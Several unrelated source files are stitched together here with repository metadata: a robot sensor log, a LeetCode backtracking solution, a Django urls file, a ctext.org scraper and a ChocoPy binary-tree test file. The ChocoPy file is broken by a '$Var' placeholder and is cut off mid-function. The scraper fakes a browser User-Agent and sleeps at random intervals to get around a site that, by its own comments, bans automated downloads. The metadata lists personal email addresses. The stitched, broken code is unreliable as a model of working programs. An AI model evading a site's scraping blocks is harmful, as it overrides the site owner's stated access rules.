l(['177.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['177.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['177.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.18','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.30','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['178.90','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['178.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.02','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['179.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['179.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['179.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['179.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['179.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['179.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
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l(['301.55','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['301.67','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['301.79','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['301.91','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.03','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.27','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.39','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.40','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['302.51','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.52','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['302.63','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.75','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['302.76','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['302.87','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.35','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.47','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.59','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.71','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.83','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['303.95','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.07','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.19','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.31','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.43','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.55','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.79','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['304.91','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['305.03','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['305.16','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['305.28','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['305.29','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['321.01','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.08','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.13','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.20','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.21','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.24','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.25','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.26','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.26','ARM',Stop()])
l(['321.31','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.31','ARM',Stop()])
l(['321.32','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.33','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.36','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.37','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.38','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.38','ARM',Stop()])
l(['321.43','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.43','ARM',Stop()])
l(['321.44','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.45','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.48','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.49','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.50','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.50','ARM',Stop()])
l(['321.55','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.55','ARM',Stop()])
l(['321.56','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.57','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.60','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.61','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.62','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.62','ARM',Stop()])
l(['321.67','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.67','ARM',Stop()])
l(['321.68','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.69','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.72','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.73','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.74','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.74','ARM',Stop()])
l(['321.79','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.79','ARM',Stop()])
l(['321.80','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.81','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.84','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.85','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.86','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.86','ARM',Stop()])
l(['321.91','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['321.91','ARM',Stop()])
l(['321.92','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['321.93','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['321.96','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['321.97','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['321.98','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['321.98','ARM',Stop()])
l(['322.03','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.03','ARM',Stop()])
l(['322.04','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['322.05','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['322.08','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['322.09','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['322.10','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['322.10','ARM',Stop()])
l(['322.15','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.15','ARM',Stop()])
l(['322.16','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['322.17','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['322.20','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['322.21','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['322.22','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['322.22','ARM',Stop()])
l(['322.27','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.27','ARM',Stop()])
l(['322.28','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['322.29','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['322.32','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['322.33','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['322.34','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['322.34','ARM',Stop()])
l(['322.39','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.39','ARM',Stop()])
l(['322.40','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['322.41','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['322.44','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['322.45','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['322.46','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['322.46','ARM',Stop()])
l(['322.51','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.51','ARM',Stop()])
l(['322.52','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['322.53','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['322.56','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['322.57','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['322.58','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['322.58','ARM',Stop()])
l(['322.63','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['322.63','ARM',Stop()])
l(['322.64','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
|
[
"eric.alber@gmail.com"
] |
eric.alber@gmail.com
|
a510b14f7242bb8df70c4f967feaeb496fcedd09
|
7dd7766c588e201fe4494a3ac37a22820a4eff8e
|
/leetcode/backtrack/39.py
|
8aaa1953d0c320068ade782d0330d5281165dc1b
|
[] |
no_license
|
YutingYao/leetcode-3
|
428aef96e8ceea2f86c6968977a48e92a4a52eda
|
e5b680db40de95f8f4b47e9b399942369c2081d9
|
refs/heads/main
| 2023-07-14T05:49:40.024579
| 2021-08-18T02:17:54
| 2021-08-18T02:17:54
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 662
|
py
|
class Solution:
def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:
ret=[]
path=[]
def back_track(nums,i_start,sum_):
for i in range(i_start,len(nums)):
if sum_+nums[i]>target:#剪枝
continue
sum_+=nums[i]
path.append(nums[i])
if sum_==target:#如果满足条件,则append
ret.append(path.copy())
back_track(nums,i,sum_)
sum_-=nums[i]#回退状态
path.pop()
back_track(candidates,0,0)
return ret
|
[
"lan1106628183@163.com"
] |
lan1106628183@163.com
|
76b1e3ade70f817101de3bceff2829859a449e4e
|
b4c28049f1e3bc367d523f84f3816178e9e1d468
|
/20160302.py
|
28db3ba1865577c25308fb9e72d40826343e0d62
|
[
"MIT"
] |
permissive
|
JaeGyu/PythonEx_1
|
5f602274727722ddc352fcdd7b5f41b73d8aa784
|
e67053db6ca7431c3dd66351c190c53229e3f141
|
refs/heads/master
| 2020-05-22T05:43:59.902893
| 2017-09-02T06:54:57
| 2017-09-02T06:54:57
| 50,916,308
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 108
|
py
|
#_*_ coding: utf-8 _*_
l = [1,2,3,4,5]
print type(l)
print 2/4.0
print 2//4.0 #부동소수점 나눗셈
|
[
"jpmlyr@gmail.com"
] |
jpmlyr@gmail.com
|
20b505302e96a24101b5c519ac5bb17b2693001c
|
4886150d525b393a4484b9f03441504a3d7273e1
|
/projeto/core/urls.py
|
c46d8a3df4d2a3894c64c301d12536289ac82fbe
|
[] |
no_license
|
ricardocappi/estoque
|
76445e993a5fa465e8689db19bdc5c49e01a2b52
|
b45520e0548c9d5901df60dcf92e0de79d1ae622
|
refs/heads/master
| 2020-07-06T12:51:32.056490
| 2019-08-22T17:45:35
| 2019-08-22T17:45:35
| 203,023,458
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 141
|
py
|
from django.urls import path
from projeto.core import views as v
app_name = 'core'
urlpatterns = [
path('', v.index, name='index'),
]
|
[
"53310222+ricardocappi@users.noreply.github.com"
] |
53310222+ricardocappi@users.noreply.github.com
|
fc2b5985f306eff0e9e64b4deb94bf8d97ef66a2
|
19ee1238762daa7ebb2850920a33bdf19731826f
|
/download_sanguo.py
|
c6d03e101cfc88c732f1aaba4268bd87d66c9207
|
[] |
no_license
|
JeremyCCHsu/LM-Ch-Classic-Lit
|
432be0fb27923df018cb1dd0630d602404b720d6
|
058637b99343337014c2003245b826308f1d4eaf
|
refs/heads/master
| 2020-06-23T10:45:00.006437
| 2016-11-24T10:24:09
| 2016-11-24T10:24:09
| 74,654,138
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,162
|
py
|
# coding=utf-8
# This script is best suited for http://ctext.org
# (Notice: the website actually prevents automatic downloading, so plz watch out.)
#
# I've been banned for downloading it. = =
# Maybe I can fake a browser?
# http://stackoverflow.com/questions/27652543/how-to-use-python-requests-to-fake-a-browser-visit
#
# For BeatifulSoup, plz see
# http://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/
import re
import urllib
from bs4 import BeautifulSoup
from time import sleep
from random import randint
import requests
import sys
# from random import randint
# import xml.etree.ElementTree as ET
urlbase = 'http://ctext.org/sanguo-yanyi/ch%d/zh'
chapFirst = 82
chapLast = 120
oFile = 'SanGuoYanYi%3d-%3d.txt' % (chapFirst, chapLast)
# oFile = 'Zizhitongjan%03d-%03d.txt' % (chapFirst, chapLast)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
# print(response.content)
import numpy as np
chs = np.array(range(chapFirst, 120))
np.random.shuffle(chs)
with open(oFile, 'w') as f:
# for i in xrange(chapFirst, chapLast+1):
for i in chs:
print 'Chapter %03d downloading...' % i
url = urlbase % i
session = requests.Session()
rsp = session.get(url, headers=headers)
if rsp.status_code < 400:
page = rsp.content
soup = BeautifulSoup(page, 'html.parser')
td = soup.find_all('td')
print ' %d elements' % len(td)
for t in td:
if t.has_attr('class'):
cls = t.get('class')
cls = ' '.join(cls)
if cls == 'ctext':
text = t.get_text()
f.write(text.encode('utf-8'))
# print t.get_text()
elif t.h2:
text = t.h2.get_text()
f.write('\n')
f.write(text.encode('utf-8'))
s = randint(300, 613) / 10.0
print ' Sleep for %.1f sec' % s
sleep(s) # I still get caught with [20, 70]
else:
print "We're banned! (%d)" % rsp.status_code
sys.exit(0)
# url.close()
# tree = ET.fromstring(data)
# print tree
# tags = soup('a')
# for tag in tags:
# print tag.get('href', None)
|
[
"jeremycchsu@gmail.com"
] |
jeremycchsu@gmail.com
|
b6863dd1e133f2d14e1c1aaa6a43917d8b01e00e
|
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
|
/cases/synthetic/tree-big-3429.py
|
7e35c22deed3fcb33f0fb8c3ea44a31bea95a86c
|
[] |
no_license
|
Virtlink/ccbench-chocopy
|
c3f7f6af6349aff6503196f727ef89f210a1eac8
|
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
|
refs/heads/main
| 2023-04-07T15:07:12.464038
| 2022-02-03T15:42:39
| 2022-02-03T15:42:39
| 451,969,776
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 23,289
|
py
|
# Binary-search trees
class TreeNode(object):
value:int = 0
left:"TreeNode" = None
right:"TreeNode" = None
def insert(self:"TreeNode", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode(x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode(x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode2(object):
value:int = 0
value2:int = 0
left:"TreeNode2" = None
left2:"TreeNode2" = None
right:"TreeNode2" = None
right2:"TreeNode2" = None
def insert(self:"TreeNode2", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode2(x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode2(x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode2", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode2(x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode2(x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode2", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode2", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode3(object):
value:int = 0
value2:int = 0
value3:int = 0
left:"TreeNode3" = None
left2:"TreeNode3" = None
left3:"TreeNode3" = None
right:"TreeNode3" = None
right2:"TreeNode3" = None
right3:"TreeNode3" = None
def insert(self:"TreeNode3", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode3", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode3(x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode3(x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode3", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode3", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode4(object):
value:int = 0
value2:int = 0
value3:int = 0
value4:int = 0
left:"TreeNode4" = None
left2:"TreeNode4" = None
left3:"TreeNode4" = None
left4:"TreeNode4" = None
right:"TreeNode4" = None
right2:"TreeNode4" = None
right3:"TreeNode4" = None
right4:"TreeNode4" = None
def insert(self:"TreeNode4", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode4", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode4(x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode4(x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode4", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode4", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class TreeNode5(object):
value:int = 0
value2:int = 0
value3:int = 0
value4:int = 0
value5:int = 0
left:"TreeNode5" = None
left2:"TreeNode5" = None
left3:"TreeNode5" = None
left4:"TreeNode5" = None
left5:"TreeNode5" = None
right:"TreeNode5" = None
right2:"TreeNode5" = None
right3:"TreeNode5" = None
right4:"TreeNode5" = None
right5:"TreeNode5" = None
def insert(self:"TreeNode5", x:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
$Var.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert2(self:"TreeNode5", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def insert5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if x < self.value:
if self.left is None:
self.left = makeNode5(x, x, x, x, x)
return True
else:
return self.left.insert(x)
elif x > self.value:
if self.right is None:
self.right = makeNode5(x, x, x, x, x)
return True
else:
return self.right.insert(x)
return False
def contains(self:"TreeNode5", x:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains2(self:"TreeNode5", x:int, x2:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
def contains5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool:
if x < self.value:
if self.left is None:
return False
else:
return self.left.contains(x)
elif x > self.value:
if self.right is None:
return False
else:
return self.right.contains(x)
else:
return True
class Tree(object):
root:TreeNode = None
size:int = 0
def insert(self:"Tree", x:int) -> object:
if self.root is None:
self.root = makeNode(x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree2(object):
root:TreeNode2 = None
root2:TreeNode2 = None
size:int = 0
size2:int = 0
def insert(self:"Tree2", x:int) -> object:
if self.root is None:
self.root = makeNode2(x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree2", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode2(x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree2", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree2", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree3(object):
root:TreeNode3 = None
root2:TreeNode3 = None
root3:TreeNode3 = None
size:int = 0
size2:int = 0
size3:int = 0
def insert(self:"Tree3", x:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree3", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree3", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode3(x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree3", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree3", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree3", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree4(object):
root:TreeNode4 = None
root2:TreeNode4 = None
root3:TreeNode4 = None
root4:TreeNode4 = None
size:int = 0
size2:int = 0
size3:int = 0
size4:int = 0
def insert(self:"Tree4", x:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree4", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert3(self:"Tree4", x:int, x2:int, x3:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> object:
if self.root is None:
self.root = makeNode4(x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def contains(self:"Tree4", x:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains2(self:"Tree4", x:int, x2:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains3(self:"Tree4", x:int, x2:int, x3:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
def contains4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> bool:
if self.root is None:
return False
else:
return self.root.contains(x)
class Tree5(object):
root:TreeNode5 = None
root2:TreeNode5 = None
root3:TreeNode5 = None
root4:TreeNode5 = None
root5:TreeNode5 = None
size:int = 0
size2:int = 0
size3:int = 0
size4:int = 0
size5:int = 0
def insert(self:"Tree5", x:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
if self.root.insert(x):
self.size = self.size + 1
def insert2(self:"Tree5", x:int, x2:int) -> object:
if self.root is None:
self.root = makeNode5(x, x, x, x, x)
self.size = 1
else:
